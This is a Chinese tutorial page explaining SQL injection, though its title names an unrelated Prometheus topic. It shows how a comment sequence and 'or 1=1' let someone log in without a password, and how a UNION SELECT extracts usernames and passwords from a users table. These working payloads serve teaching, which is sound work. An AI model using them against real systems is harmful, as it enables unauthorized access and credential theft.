0
点赞
收藏
分享

微信扫一扫

Prometheus中关键设计

宁静的猫 2023-09-13 阅读 4
sql数据库

文章目录

1. 介绍

在这里插入图片描述

在这里插入图片描述

如下代码,这是正常的查询操作,只有用户名和密码都匹配时,才能成功登陆。

select * from users
where
username='栈老师' and password='123456'

2. 无密码登录

所以只知道用户名,即使没有密码,也是可以进行登录的,代码如下:

select * from users
where
username='栈老师' --' and password='123456'

3. 无用户名无密码登录

那么即使不知道用户名和密码,依然可以登录:

select * from users
where
username='栈老师' or 1=1

4. 合并表获取用户名密码

我们都知道合并两个表格可以用 union 关键字,像下面这样:

select * from table1
union
select * from table2
select * from products
union
select null, null, null

这样,攻击者就可以在此处注入 union 语句了:

select * from products
where name = 'apple'
union
select null, username, password from users --'

此时,账号密码信息就这样被合并到 products 表中了!

在这里插入图片描述

举报

相关推荐

0 条评论